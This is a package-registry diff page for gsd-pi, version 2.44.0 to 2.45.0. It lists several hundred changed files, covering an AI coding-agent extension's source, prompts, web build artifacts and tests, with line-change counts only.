gsd-pi 2.44.0 → 2.45.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (402) hide show
  1. package/README.md +30 -12
  2. package/dist/resources/extensions/gsd/activity-log.js +7 -0
  3. package/dist/resources/extensions/gsd/auto/infra-errors.js +3 -0
  4. package/dist/resources/extensions/gsd/auto/phases.js +37 -36
  5. package/dist/resources/extensions/gsd/auto-prompts.js +24 -1
  6. package/dist/resources/extensions/gsd/auto-start.js +31 -2
  7. package/dist/resources/extensions/gsd/auto-timers.js +57 -3
  8. package/dist/resources/extensions/gsd/auto-worktree-sync.js +4 -0
  9. package/dist/resources/extensions/gsd/auto-worktree.js +9 -6
  10. package/dist/resources/extensions/gsd/auto.js +30 -3
  11. package/dist/resources/extensions/gsd/bootstrap/db-tools.js +156 -0
  12. package/dist/resources/extensions/gsd/bootstrap/system-context.js +46 -12
  13. package/dist/resources/extensions/gsd/commands/catalog.js +7 -1
  14. package/dist/resources/extensions/gsd/commands/handlers/core.js +2 -0
  15. package/dist/resources/extensions/gsd/commands/handlers/ops.js +10 -0
  16. package/dist/resources/extensions/gsd/commands/handlers/workflow.js +5 -0
  17. package/dist/resources/extensions/gsd/commands-mcp-status.js +187 -0
  18. package/dist/resources/extensions/gsd/db-writer.js +34 -16
  19. package/dist/resources/extensions/gsd/doctor.js +8 -0
  20. package/dist/resources/extensions/gsd/git-service.js +8 -3
  21. package/dist/resources/extensions/gsd/gsd-db.js +12 -1
  22. package/dist/resources/extensions/gsd/markdown-renderer.js +1 -1
  23. package/dist/resources/extensions/gsd/preferences.js +9 -1
  24. package/dist/resources/extensions/gsd/prompts/complete-milestone.md +2 -4
  25. package/dist/resources/extensions/gsd/prompts/plan-slice.md +1 -1
  26. package/dist/resources/extensions/gsd/prompts/reassess-roadmap.md +6 -6
  27. package/dist/resources/extensions/gsd/prompts/replan-slice.md +3 -14
  28. package/dist/resources/extensions/gsd/prompts/rethink.md +78 -0
  29. package/dist/resources/extensions/gsd/prompts/validate-milestone.md +7 -37
  30. package/dist/resources/extensions/gsd/provider-error-pause.js +7 -0
  31. package/dist/resources/extensions/gsd/repo-identity.js +45 -7
  32. package/dist/resources/extensions/gsd/rethink.js +115 -0
  33. package/dist/resources/extensions/gsd/state.js +41 -3
  34. package/dist/resources/extensions/gsd/tools/plan-slice.js +1 -0
  35. package/dist/resources/extensions/gsd/tools/plan-task.js +1 -0
  36. package/dist/resources/extensions/gsd/tools/replan-slice.js +2 -0
  37. package/dist/resources/extensions/gsd/tools/validate-milestone.js +88 -0
  38. package/dist/resources/extensions/gsd/worktree-manager.js +32 -2
  39. package/dist/resources/extensions/gsd/worktree-resolver.js +6 -0
  40. package/dist/resources/extensions/mcp-client/index.js +14 -0
  41. package/dist/web/standalone/.next/BUILD_ID +1 -1
  42. package/dist/web/standalone/.next/app-path-routes-manifest.json +7 -7
  43. package/dist/web/standalone/.next/build-manifest.json +3 -3
  44. package/dist/web/standalone/.next/prerender-manifest.json +3 -3
  45. package/dist/web/standalone/.next/react-loadable-manifest.json +2 -2
  46. package/dist/web/standalone/.next/server/app/_global-error/page_client-reference-manifest.js +1 -1
  47. package/dist/web/standalone/.next/server/app/_global-error.html +2 -2
  48. package/dist/web/standalone/.next/server/app/_global-error.rsc +1 -1
  49. package/dist/web/standalone/.next/server/app/_global-error.segments/_full.segment.rsc +1 -1
  50. package/dist/web/standalone/.next/server/app/_global-error.segments/_global-error/__PAGE__.segment.rsc +1 -1
  51. package/dist/web/standalone/.next/server/app/_global-error.segments/_global-error.segment.rsc +1 -1
  52. package/dist/web/standalone/.next/server/app/_global-error.segments/_head.segment.rsc +1 -1
  53. package/dist/web/standalone/.next/server/app/_global-error.segments/_index.segment.rsc +1 -1
  54. package/dist/web/standalone/.next/server/app/_global-error.segments/_tree.segment.rsc +1 -1
  55. package/dist/web/standalone/.next/server/app/_not-found/page.js +1 -1
  56. package/dist/web/standalone/.next/server/app/_not-found/page_client-reference-manifest.js +1 -1
  57. package/dist/web/standalone/.next/server/app/_not-found.html +1 -1
  58. package/dist/web/standalone/.next/server/app/_not-found.rsc +3 -3
  59. package/dist/web/standalone/.next/server/app/_not-found.segments/_full.segment.rsc +3 -3
  60. package/dist/web/standalone/.next/server/app/_not-found.segments/_head.segment.rsc +1 -1
  61. package/dist/web/standalone/.next/server/app/_not-found.segments/_index.segment.rsc +2 -2
  62. package/dist/web/standalone/.next/server/app/_not-found.segments/_not-found/__PAGE__.segment.rsc +1 -1
  63. package/dist/web/standalone/.next/server/app/_not-found.segments/_not-found.segment.rsc +1 -1
  64. package/dist/web/standalone/.next/server/app/_not-found.segments/_tree.segment.rsc +2 -2
  65. package/dist/web/standalone/.next/server/app/api/boot/route_client-reference-manifest.js +1 -1
  66. package/dist/web/standalone/.next/server/app/api/bridge-terminal/input/route_client-reference-manifest.js +1 -1
  67. package/dist/web/standalone/.next/server/app/api/bridge-terminal/resize/route_client-reference-manifest.js +1 -1
  68. package/dist/web/standalone/.next/server/app/api/bridge-terminal/stream/route_client-reference-manifest.js +1 -1
  69. package/dist/web/standalone/.next/server/app/api/browse-directories/route_client-reference-manifest.js +1 -1
  70. package/dist/web/standalone/.next/server/app/api/captures/route_client-reference-manifest.js +1 -1
  71. package/dist/web/standalone/.next/server/app/api/cleanup/route_client-reference-manifest.js +1 -1
  72. package/dist/web/standalone/.next/server/app/api/dev-mode/route_client-reference-manifest.js +1 -1
  73. package/dist/web/standalone/.next/server/app/api/doctor/route_client-reference-manifest.js +1 -1
  74. package/dist/web/standalone/.next/server/app/api/export-data/route_client-reference-manifest.js +1 -1
  75. package/dist/web/standalone/.next/server/app/api/files/route_client-reference-manifest.js +1 -1
  76. package/dist/web/standalone/.next/server/app/api/forensics/route_client-reference-manifest.js +1 -1
  77. package/dist/web/standalone/.next/server/app/api/git/route_client-reference-manifest.js +1 -1
  78. package/dist/web/standalone/.next/server/app/api/history/route_client-reference-manifest.js +1 -1
  79. package/dist/web/standalone/.next/server/app/api/hooks/route_client-reference-manifest.js +1 -1
  80. package/dist/web/standalone/.next/server/app/api/inspect/route_client-reference-manifest.js +1 -1
  81. package/dist/web/standalone/.next/server/app/api/knowledge/route_client-reference-manifest.js +1 -1
  82. package/dist/web/standalone/.next/server/app/api/live-state/route_client-reference-manifest.js +1 -1
  83. package/dist/web/standalone/.next/server/app/api/onboarding/route_client-reference-manifest.js +1 -1
  84. package/dist/web/standalone/.next/server/app/api/preferences/route_client-reference-manifest.js +1 -1
  85. package/dist/web/standalone/.next/server/app/api/projects/route_client-reference-manifest.js +1 -1
  86. package/dist/web/standalone/.next/server/app/api/recovery/route_client-reference-manifest.js +1 -1
  87. package/dist/web/standalone/.next/server/app/api/remote-questions/route_client-reference-manifest.js +1 -1
  88. package/dist/web/standalone/.next/server/app/api/session/browser/route_client-reference-manifest.js +1 -1
  89. package/dist/web/standalone/.next/server/app/api/session/command/route_client-reference-manifest.js +1 -1
  90. package/dist/web/standalone/.next/server/app/api/session/events/route_client-reference-manifest.js +1 -1
  91. package/dist/web/standalone/.next/server/app/api/session/manage/route_client-reference-manifest.js +1 -1
  92. package/dist/web/standalone/.next/server/app/api/settings-data/route_client-reference-manifest.js +1 -1
  93. package/dist/web/standalone/.next/server/app/api/shutdown/route_client-reference-manifest.js +1 -1
  94. package/dist/web/standalone/.next/server/app/api/skill-health/route_client-reference-manifest.js +1 -1
  95. package/dist/web/standalone/.next/server/app/api/steer/route_client-reference-manifest.js +1 -1
  96. package/dist/web/standalone/.next/server/app/api/switch-root/route_client-reference-manifest.js +1 -1
  97. package/dist/web/standalone/.next/server/app/api/terminal/input/route_client-reference-manifest.js +1 -1
  98. package/dist/web/standalone/.next/server/app/api/terminal/resize/route_client-reference-manifest.js +1 -1
  99. package/dist/web/standalone/.next/server/app/api/terminal/sessions/route_client-reference-manifest.js +1 -1
  100. package/dist/web/standalone/.next/server/app/api/terminal/stream/route_client-reference-manifest.js +1 -1
  101. package/dist/web/standalone/.next/server/app/api/terminal/upload/route_client-reference-manifest.js +1 -1
  102. package/dist/web/standalone/.next/server/app/api/undo/route_client-reference-manifest.js +1 -1
  103. package/dist/web/standalone/.next/server/app/api/update/route_client-reference-manifest.js +1 -1
  104. package/dist/web/standalone/.next/server/app/api/visualizer/route_client-reference-manifest.js +1 -1
  105. package/dist/web/standalone/.next/server/app/index.html +1 -1
  106. package/dist/web/standalone/.next/server/app/index.rsc +4 -4
  107. package/dist/web/standalone/.next/server/app/index.segments/__PAGE__.segment.rsc +2 -2
  108. package/dist/web/standalone/.next/server/app/index.segments/_full.segment.rsc +4 -4
  109. package/dist/web/standalone/.next/server/app/index.segments/_head.segment.rsc +1 -1
  110. package/dist/web/standalone/.next/server/app/index.segments/_index.segment.rsc +2 -2
  111. package/dist/web/standalone/.next/server/app/index.segments/_tree.segment.rsc +2 -2
  112. package/dist/web/standalone/.next/server/app/page.js +1 -1
  113. package/dist/web/standalone/.next/server/app/page_client-reference-manifest.js +1 -1
  114. package/dist/web/standalone/.next/server/app-paths-manifest.json +7 -7
  115. package/dist/web/standalone/.next/server/middleware-build-manifest.js +1 -1
  116. package/dist/web/standalone/.next/server/middleware-react-loadable-manifest.js +1 -1
  117. package/dist/web/standalone/.next/server/pages/404.html +1 -1
  118. package/dist/web/standalone/.next/server/pages/500.html +2 -2
  119. package/dist/web/standalone/.next/server/server-reference-manifest.json +1 -1
  120. package/dist/web/standalone/.next/static/chunks/4024.11ca5c01938e5948.js +9 -0
  121. package/dist/web/standalone/.next/static/chunks/{3721.bf31263de6d5fa46.js → 485.243af25f0cdf50d6.js} +2 -2
  122. package/dist/web/standalone/.next/static/chunks/app/{page-7e9530a7122506c5.js → page-12dd5ece0df4badc.js} +1 -1
  123. package/dist/web/standalone/.next/static/chunks/webpack-0a4cd455ec4197d2.js +1 -0
  124. package/dist/web/standalone/.next/static/css/dd4ae3f58ac9b600.css +1 -0
  125. package/package.json +1 -1
  126. package/packages/native/dist/stream-process/index.js +2 -2
  127. package/packages/native/src/__tests__/stream-process.test.mjs +34 -0
  128. package/packages/native/src/stream-process/index.ts +2 -2
  129. package/packages/pi-coding-agent/dist/core/auth-storage.d.ts +3 -1
  130. package/packages/pi-coding-agent/dist/core/auth-storage.d.ts.map +1 -1
  131. package/packages/pi-coding-agent/dist/core/auth-storage.js +15 -1
  132. package/packages/pi-coding-agent/dist/core/auth-storage.js.map +1 -1
  133. package/packages/pi-coding-agent/dist/core/auth-storage.test.js +6 -8
  134. package/packages/pi-coding-agent/dist/core/auth-storage.test.js.map +1 -1
  135. package/packages/pi-coding-agent/dist/core/extensions/runner.test.js +24 -26
  136. package/packages/pi-coding-agent/dist/core/extensions/runner.test.js.map +1 -1
  137. package/packages/pi-coding-agent/dist/core/fs-utils.test.js +29 -48
  138. package/packages/pi-coding-agent/dist/core/fs-utils.test.js.map +1 -1
  139. package/packages/pi-coding-agent/dist/core/local-model-check.d.ts +15 -0
  140. package/packages/pi-coding-agent/dist/core/local-model-check.d.ts.map +1 -0
  141. package/packages/pi-coding-agent/dist/core/local-model-check.js +41 -0
  142. package/packages/pi-coding-agent/dist/core/local-model-check.js.map +1 -0
  143. package/packages/pi-coding-agent/dist/core/model-registry.d.ts +11 -0
  144. package/packages/pi-coding-agent/dist/core/model-registry.d.ts.map +1 -1
  145. package/packages/pi-coding-agent/dist/core/model-registry.js +20 -1
  146. package/packages/pi-coding-agent/dist/core/model-registry.js.map +1 -1
  147. package/packages/pi-coding-agent/dist/core/resolve-config-value.test.js +34 -44
  148. package/packages/pi-coding-agent/dist/core/resolve-config-value.test.js.map +1 -1
  149. package/packages/pi-coding-agent/dist/core/session-manager.test.js +30 -34
  150. package/packages/pi-coding-agent/dist/core/session-manager.test.js.map +1 -1
  151. package/packages/pi-coding-agent/dist/core/settings-manager.d.ts +3 -0
  152. package/packages/pi-coding-agent/dist/core/settings-manager.d.ts.map +1 -1
  153. package/packages/pi-coding-agent/dist/core/settings-manager.js +6 -0
  154. package/packages/pi-coding-agent/dist/core/settings-manager.js.map +1 -1
  155. package/packages/pi-coding-agent/dist/core/tools/edit-diff.test.js +10 -12
  156. package/packages/pi-coding-agent/dist/core/tools/edit-diff.test.js.map +1 -1
  157. package/packages/pi-coding-agent/dist/main.d.ts.map +1 -1
  158. package/packages/pi-coding-agent/dist/main.js +17 -0
  159. package/packages/pi-coding-agent/dist/main.js.map +1 -1
  160. package/packages/pi-coding-agent/dist/modes/interactive/components/__tests__/timestamp.test.d.ts +2 -0
  161. package/packages/pi-coding-agent/dist/modes/interactive/components/__tests__/timestamp.test.d.ts.map +1 -0
  162. package/packages/pi-coding-agent/dist/modes/interactive/components/__tests__/timestamp.test.js +32 -0
  163. package/packages/pi-coding-agent/dist/modes/interactive/components/__tests__/timestamp.test.js.map +1 -0
  164. package/packages/pi-coding-agent/dist/modes/interactive/components/assistant-message.d.ts +3 -1
  165. package/packages/pi-coding-agent/dist/modes/interactive/components/assistant-message.d.ts.map +1 -1
  166. package/packages/pi-coding-agent/dist/modes/interactive/components/assistant-message.js +8 -1
  167. package/packages/pi-coding-agent/dist/modes/interactive/components/assistant-message.js.map +1 -1
  168. package/packages/pi-coding-agent/dist/modes/interactive/components/settings-selector.d.ts +2 -0
  169. package/packages/pi-coding-agent/dist/modes/interactive/components/settings-selector.d.ts.map +1 -1
  170. package/packages/pi-coding-agent/dist/modes/interactive/components/settings-selector.js +12 -0
  171. package/packages/pi-coding-agent/dist/modes/interactive/components/settings-selector.js.map +1 -1
  172. package/packages/pi-coding-agent/dist/modes/interactive/components/timestamp.d.ts +15 -0
  173. package/packages/pi-coding-agent/dist/modes/interactive/components/timestamp.d.ts.map +1 -0
  174. package/packages/pi-coding-agent/dist/modes/interactive/components/timestamp.js +40 -0
  175. package/packages/pi-coding-agent/dist/modes/interactive/components/timestamp.js.map +1 -0
  176. package/packages/pi-coding-agent/dist/modes/interactive/components/tool-execution.d.ts.map +1 -1
  177. package/packages/pi-coding-agent/dist/modes/interactive/components/tool-execution.js +4 -1
  178. package/packages/pi-coding-agent/dist/modes/interactive/components/tool-execution.js.map +1 -1
  179. package/packages/pi-coding-agent/dist/modes/interactive/components/user-message.d.ts +5 -2
  180. package/packages/pi-coding-agent/dist/modes/interactive/components/user-message.d.ts.map +1 -1
  181. package/packages/pi-coding-agent/dist/modes/interactive/components/user-message.js +13 -2
  182. package/packages/pi-coding-agent/dist/modes/interactive/components/user-message.js.map +1 -1
  183. package/packages/pi-coding-agent/dist/modes/interactive/controllers/chat-controller.d.ts.map +1 -1
  184. package/packages/pi-coding-agent/dist/modes/interactive/controllers/chat-controller.js +17 -8
  185. package/packages/pi-coding-agent/dist/modes/interactive/controllers/chat-controller.js.map +1 -1
  186. package/packages/pi-coding-agent/dist/modes/interactive/interactive-mode.d.ts.map +1 -1
  187. package/packages/pi-coding-agent/dist/modes/interactive/interactive-mode.js +7 -3
  188. package/packages/pi-coding-agent/dist/modes/interactive/interactive-mode.js.map +1 -1
  189. package/packages/pi-coding-agent/dist/resources/extensions/memory/storage.test.js +43 -47
  190. package/packages/pi-coding-agent/dist/resources/extensions/memory/storage.test.js.map +1 -1
  191. package/packages/pi-coding-agent/package.json +1 -1
  192. package/packages/pi-coding-agent/src/core/auth-storage.test.ts +7 -7
  193. package/packages/pi-coding-agent/src/core/auth-storage.ts +15 -1
  194. package/packages/pi-coding-agent/src/core/extensions/runner.test.ts +26 -26
  195. package/packages/pi-coding-agent/src/core/fs-utils.test.ts +31 -43
  196. package/packages/pi-coding-agent/src/core/local-model-check.ts +45 -0
  197. package/packages/pi-coding-agent/src/core/model-registry.ts +21 -1
  198. package/packages/pi-coding-agent/src/core/resolve-config-value.test.ts +40 -45
  199. package/packages/pi-coding-agent/src/core/session-manager.test.ts +33 -33
  200. package/packages/pi-coding-agent/src/core/settings-manager.ts +9 -0
  201. package/packages/pi-coding-agent/src/core/tools/edit-diff.test.ts +17 -17
  202. package/packages/pi-coding-agent/src/main.ts +19 -0
  203. package/packages/pi-coding-agent/src/modes/interactive/components/__tests__/timestamp.test.ts +38 -0
  204. package/packages/pi-coding-agent/src/modes/interactive/components/assistant-message.ts +10 -0
  205. package/packages/pi-coding-agent/src/modes/interactive/components/settings-selector.ts +15 -0
  206. package/packages/pi-coding-agent/src/modes/interactive/components/timestamp.ts +48 -0
  207. package/packages/pi-coding-agent/src/modes/interactive/components/tool-execution.ts +3 -1
  208. package/packages/pi-coding-agent/src/modes/interactive/components/user-message.ts +18 -3
  209. package/packages/pi-coding-agent/src/modes/interactive/controllers/chat-controller.ts +16 -7
  210. package/packages/pi-coding-agent/src/modes/interactive/interactive-mode.ts +8 -1
  211. package/packages/pi-coding-agent/src/resources/extensions/memory/storage.test.ts +74 -74
  212. package/pkg/package.json +1 -1
  213. package/src/resources/extensions/gsd/activity-log.ts +1 -0
  214. package/src/resources/extensions/gsd/auto/infra-errors.ts +3 -0
  215. package/src/resources/extensions/gsd/auto/phases.ts +46 -48
  216. package/src/resources/extensions/gsd/auto-prompts.ts +24 -1
  217. package/src/resources/extensions/gsd/auto-start.ts +39 -2
  218. package/src/resources/extensions/gsd/auto-timers.ts +64 -3
  219. package/src/resources/extensions/gsd/auto-worktree-sync.ts +5 -0
  220. package/src/resources/extensions/gsd/auto-worktree.ts +9 -6
  221. package/src/resources/extensions/gsd/auto.ts +37 -3
  222. package/src/resources/extensions/gsd/bootstrap/db-tools.ts +148 -0
  223. package/src/resources/extensions/gsd/bootstrap/system-context.ts +48 -11
  224. package/src/resources/extensions/gsd/commands/catalog.ts +7 -1
  225. package/src/resources/extensions/gsd/commands/handlers/core.ts +2 -0
  226. package/src/resources/extensions/gsd/commands/handlers/ops.ts +10 -0
  227. package/src/resources/extensions/gsd/commands/handlers/workflow.ts +8 -0
  228. package/src/resources/extensions/gsd/commands-mcp-status.ts +247 -0
  229. package/src/resources/extensions/gsd/db-writer.ts +39 -17
  230. package/src/resources/extensions/gsd/doctor.ts +7 -1
  231. package/src/resources/extensions/gsd/git-service.ts +6 -2
  232. package/src/resources/extensions/gsd/gsd-db.ts +16 -1
  233. package/src/resources/extensions/gsd/markdown-renderer.ts +1 -1
  234. package/src/resources/extensions/gsd/preferences.ts +11 -1
  235. package/src/resources/extensions/gsd/prompts/complete-milestone.md +2 -4
  236. package/src/resources/extensions/gsd/prompts/plan-slice.md +1 -1
  237. package/src/resources/extensions/gsd/prompts/reassess-roadmap.md +6 -6
  238. package/src/resources/extensions/gsd/prompts/replan-slice.md +3 -14
  239. package/src/resources/extensions/gsd/prompts/rethink.md +78 -0
  240. package/src/resources/extensions/gsd/prompts/validate-milestone.md +7 -37
  241. package/src/resources/extensions/gsd/provider-error-pause.ts +9 -0
  242. package/src/resources/extensions/gsd/repo-identity.ts +46 -7
  243. package/src/resources/extensions/gsd/rethink.ts +154 -0
  244. package/src/resources/extensions/gsd/state.ts +41 -1
  245. package/src/resources/extensions/gsd/tests/all-milestones-complete-merge.test.ts +99 -99
  246. package/src/resources/extensions/gsd/tests/auto-lock-creation.test.ts +14 -16
  247. package/src/resources/extensions/gsd/tests/auto-paused-session-validation.test.ts +43 -57
  248. package/src/resources/extensions/gsd/tests/auto-pr-bugs.test.ts +88 -0
  249. package/src/resources/extensions/gsd/tests/auto-preflight.test.ts +11 -13
  250. package/src/resources/extensions/gsd/tests/auto-recovery.test.ts +465 -523
  251. package/src/resources/extensions/gsd/tests/auto-secrets-gate.test.ts +73 -75
  252. package/src/resources/extensions/gsd/tests/auto-start-needs-discussion.test.ts +34 -56
  253. package/src/resources/extensions/gsd/tests/auto-worktree-milestone-merge.test.ts +533 -656
  254. package/src/resources/extensions/gsd/tests/auto-worktree.test.ts +165 -143
  255. package/src/resources/extensions/gsd/tests/cache-staleness-regression.test.ts +29 -52
  256. package/src/resources/extensions/gsd/tests/captures.test.ts +148 -176
  257. package/src/resources/extensions/gsd/tests/claude-import-tui.test.ts +32 -33
  258. package/src/resources/extensions/gsd/tests/collect-from-manifest.test.ts +141 -143
  259. package/src/resources/extensions/gsd/tests/commands-inspect-open-db.test.ts +25 -25
  260. package/src/resources/extensions/gsd/tests/commands-logs.test.ts +81 -81
  261. package/src/resources/extensions/gsd/tests/complete-milestone.test.ts +38 -59
  262. package/src/resources/extensions/gsd/tests/complete-slice.test.ts +228 -263
  263. package/src/resources/extensions/gsd/tests/complete-task.test.ts +250 -302
  264. package/src/resources/extensions/gsd/tests/completed-units-metrics-sync.test.ts +114 -0
  265. package/src/resources/extensions/gsd/tests/context-store.test.ts +354 -367
  266. package/src/resources/extensions/gsd/tests/continue-here.test.ts +68 -72
  267. package/src/resources/extensions/gsd/tests/cost-projection.test.ts +92 -106
  268. package/src/resources/extensions/gsd/tests/crash-recovery.test.ts +27 -35
  269. package/src/resources/extensions/gsd/tests/dashboard-budget.test.ts +220 -237
  270. package/src/resources/extensions/gsd/tests/db-writer.test.ts +465 -416
  271. package/src/resources/extensions/gsd/tests/definition-loader.test.ts +76 -92
  272. package/src/resources/extensions/gsd/tests/derive-state-crossval.test.ts +68 -83
  273. package/src/resources/extensions/gsd/tests/derive-state-db-disk-reconcile.test.ts +121 -0
  274. package/src/resources/extensions/gsd/tests/derive-state-db.test.ts +210 -181
  275. package/src/resources/extensions/gsd/tests/derive-state-deps.test.ts +78 -101
  276. package/src/resources/extensions/gsd/tests/derive-state.test.ts +192 -227
  277. package/src/resources/extensions/gsd/tests/detection.test.ts +232 -278
  278. package/src/resources/extensions/gsd/tests/dev-engine-wrapper.test.ts +30 -34
  279. package/src/resources/extensions/gsd/tests/dispatch-guard.test.ts +164 -180
  280. package/src/resources/extensions/gsd/tests/dispatch-missing-task-plans.test.ts +43 -49
  281. package/src/resources/extensions/gsd/tests/dispatch-uat-last-completed.test.ts +28 -32
  282. package/src/resources/extensions/gsd/tests/doctor-completion-deferral.test.ts +27 -29
  283. package/src/resources/extensions/gsd/tests/doctor-delimiter-fix.test.ts +34 -38
  284. package/src/resources/extensions/gsd/tests/doctor-enhancements.test.ts +54 -75
  285. package/src/resources/extensions/gsd/tests/doctor-environment-worktree.test.ts +21 -32
  286. package/src/resources/extensions/gsd/tests/doctor-environment.test.ts +72 -97
  287. package/src/resources/extensions/gsd/tests/doctor-fixlevel.test.ts +38 -44
  288. package/src/resources/extensions/gsd/tests/doctor-git.test.ts +104 -145
  289. package/src/resources/extensions/gsd/tests/doctor-proactive.test.ts +84 -106
  290. package/src/resources/extensions/gsd/tests/doctor-roadmap-summary-atomicity.test.ts +54 -60
  291. package/src/resources/extensions/gsd/tests/doctor-runtime.test.ts +72 -93
  292. package/src/resources/extensions/gsd/tests/doctor.test.ts +104 -134
  293. package/src/resources/extensions/gsd/tests/ensure-db-open.test.ts +123 -131
  294. package/src/resources/extensions/gsd/tests/est-annotation-timeout.test.ts +120 -0
  295. package/src/resources/extensions/gsd/tests/exit-command.test.ts +20 -24
  296. package/src/resources/extensions/gsd/tests/feature-branch-lifecycle-integration.test.ts +48 -57
  297. package/src/resources/extensions/gsd/tests/files-loadfile-eisdir.test.ts +5 -7
  298. package/src/resources/extensions/gsd/tests/flag-file-db.test.ts +30 -42
  299. package/src/resources/extensions/gsd/tests/freeform-decisions.test.ts +198 -206
  300. package/src/resources/extensions/gsd/tests/git-locale.test.ts +13 -27
  301. package/src/resources/extensions/gsd/tests/git-service.test.ts +285 -388
  302. package/src/resources/extensions/gsd/tests/gitignore-tracked-gsd.test.ts +31 -39
  303. package/src/resources/extensions/gsd/tests/graph-operations.test.ts +63 -69
  304. package/src/resources/extensions/gsd/tests/gsd-db.test.ts +255 -264
  305. package/src/resources/extensions/gsd/tests/gsd-inspect.test.ts +108 -119
  306. package/src/resources/extensions/gsd/tests/gsd-recover.test.ts +81 -103
  307. package/src/resources/extensions/gsd/tests/gsd-tools.test.ts +229 -262
  308. package/src/resources/extensions/gsd/tests/headless-answers.test.ts +13 -13
  309. package/src/resources/extensions/gsd/tests/health-widget.test.ts +29 -37
  310. package/src/resources/extensions/gsd/tests/idle-recovery.test.ts +81 -102
  311. package/src/resources/extensions/gsd/tests/infra-error.test.ts +20 -2
  312. package/src/resources/extensions/gsd/tests/inherited-repo-home-dir.test.ts +121 -0
  313. package/src/resources/extensions/gsd/tests/init-wizard.test.ts +16 -18
  314. package/src/resources/extensions/gsd/tests/integration-edge.test.ts +41 -46
  315. package/src/resources/extensions/gsd/tests/integration-lifecycle.test.ts +42 -53
  316. package/src/resources/extensions/gsd/tests/integration-mixed-milestones.test.ts +75 -91
  317. package/src/resources/extensions/gsd/tests/integration-proof.test.ts +18 -18
  318. package/src/resources/extensions/gsd/tests/knowledge.test.ts +89 -0
  319. package/src/resources/extensions/gsd/tests/markdown-renderer.test.ts +150 -194
  320. package/src/resources/extensions/gsd/tests/mcp-status.test.ts +103 -0
  321. package/src/resources/extensions/gsd/tests/md-importer.test.ts +101 -125
  322. package/src/resources/extensions/gsd/tests/memory-extractor.test.ts +45 -54
  323. package/src/resources/extensions/gsd/tests/memory-store.test.ts +80 -93
  324. package/src/resources/extensions/gsd/tests/merge-conflict-stops-loop.test.ts +66 -0
  325. package/src/resources/extensions/gsd/tests/migrate-command.test.ts +57 -66
  326. package/src/resources/extensions/gsd/tests/migrate-hierarchy.test.ts +83 -93
  327. package/src/resources/extensions/gsd/tests/migrate-parser.test.ts +161 -170
  328. package/src/resources/extensions/gsd/tests/migrate-transformer.test.ts +125 -141
  329. package/src/resources/extensions/gsd/tests/migrate-validator-parsers.test.ts +107 -131
  330. package/src/resources/extensions/gsd/tests/migrate-writer-integration.test.ts +87 -96
  331. package/src/resources/extensions/gsd/tests/migrate-writer.test.ts +125 -164
  332. package/src/resources/extensions/gsd/tests/must-have-parser.test.ts +81 -94
  333. package/src/resources/extensions/gsd/tests/none-mode-gates.test.ts +35 -36
  334. package/src/resources/extensions/gsd/tests/overrides.test.ts +99 -106
  335. package/src/resources/extensions/gsd/tests/parallel-crash-recovery.test.ts +40 -47
  336. package/src/resources/extensions/gsd/tests/parallel-worker-monitoring.test.ts +25 -28
  337. package/src/resources/extensions/gsd/tests/parallel-workers-multi-milestone-e2e.test.ts +66 -83
  338. package/src/resources/extensions/gsd/tests/park-edge-cases.test.ts +54 -77
  339. package/src/resources/extensions/gsd/tests/park-milestone.test.ts +68 -115
  340. package/src/resources/extensions/gsd/tests/parsers.test.ts +546 -611
  341. package/src/resources/extensions/gsd/tests/paths.test.ts +72 -87
  342. package/src/resources/extensions/gsd/tests/post-unit-hooks.test.ts +77 -117
  343. package/src/resources/extensions/gsd/tests/preferences.test.ts +27 -0
  344. package/src/resources/extensions/gsd/tests/prompt-contracts.test.ts +11 -7
  345. package/src/resources/extensions/gsd/tests/prompt-db.test.ts +56 -56
  346. package/src/resources/extensions/gsd/tests/queue-draft-detection.test.ts +93 -119
  347. package/src/resources/extensions/gsd/tests/queue-order.test.ts +70 -82
  348. package/src/resources/extensions/gsd/tests/queue-reorder-e2e.test.ts +42 -55
  349. package/src/resources/extensions/gsd/tests/quick-auto-guard.test.ts +100 -0
  350. package/src/resources/extensions/gsd/tests/quick-branch-lifecycle.test.ts +45 -73
  351. package/src/resources/extensions/gsd/tests/reassess-prompt.test.ts +28 -38
  352. package/src/resources/extensions/gsd/tests/recovery-attempts-reset.test.ts +176 -0
  353. package/src/resources/extensions/gsd/tests/replan-slice.test.ts +73 -80
  354. package/src/resources/extensions/gsd/tests/repo-identity-worktree.test.ts +71 -74
  355. package/src/resources/extensions/gsd/tests/requirements.test.ts +70 -75
  356. package/src/resources/extensions/gsd/tests/retry-state-reset.test.ts +44 -66
  357. package/src/resources/extensions/gsd/tests/roadmap-parse-regression.test.ts +114 -181
  358. package/src/resources/extensions/gsd/tests/rule-registry.test.ts +63 -65
  359. package/src/resources/extensions/gsd/tests/run-uat.test.ts +66 -128
  360. package/src/resources/extensions/gsd/tests/session-lock-multipath.test.ts +18 -25
  361. package/src/resources/extensions/gsd/tests/session-lock-regression.test.ts +37 -44
  362. package/src/resources/extensions/gsd/tests/shared-wal.test.ts +19 -26
  363. package/src/resources/extensions/gsd/tests/sqlite-unavailable-gate.test.ts +63 -0
  364. package/src/resources/extensions/gsd/tests/stalled-tool-recovery.test.ts +6 -8
  365. package/src/resources/extensions/gsd/tests/stop-auto-merge-back.test.ts +67 -0
  366. package/src/resources/extensions/gsd/tests/survivor-branch-complete.test.ts +108 -0
  367. package/src/resources/extensions/gsd/tests/symlink-numbered-variants.test.ts +22 -28
  368. package/src/resources/extensions/gsd/tests/terminated-transient.test.ts +49 -0
  369. package/src/resources/extensions/gsd/tests/token-savings.test.ts +54 -56
  370. package/src/resources/extensions/gsd/tests/tool-call-loop-guard.test.ts +23 -25
  371. package/src/resources/extensions/gsd/tests/tool-naming.test.ts +10 -11
  372. package/src/resources/extensions/gsd/tests/unique-milestone-ids.test.ts +66 -82
  373. package/src/resources/extensions/gsd/tests/unit-runtime.test.ts +46 -47
  374. package/src/resources/extensions/gsd/tests/visualizer-critical-path.test.ts +20 -22
  375. package/src/resources/extensions/gsd/tests/visualizer-data.test.ts +84 -86
  376. package/src/resources/extensions/gsd/tests/visualizer-overlay.test.ts +41 -43
  377. package/src/resources/extensions/gsd/tests/visualizer-views.test.ts +94 -96
  378. package/src/resources/extensions/gsd/tests/windows-path-normalization.test.ts +11 -13
  379. package/src/resources/extensions/gsd/tests/worker-registry.test.ts +27 -29
  380. package/src/resources/extensions/gsd/tests/workflow-templates.test.ts +50 -52
  381. package/src/resources/extensions/gsd/tests/worktree-bugfix.test.ts +10 -13
  382. package/src/resources/extensions/gsd/tests/worktree-db-integration.test.ts +14 -18
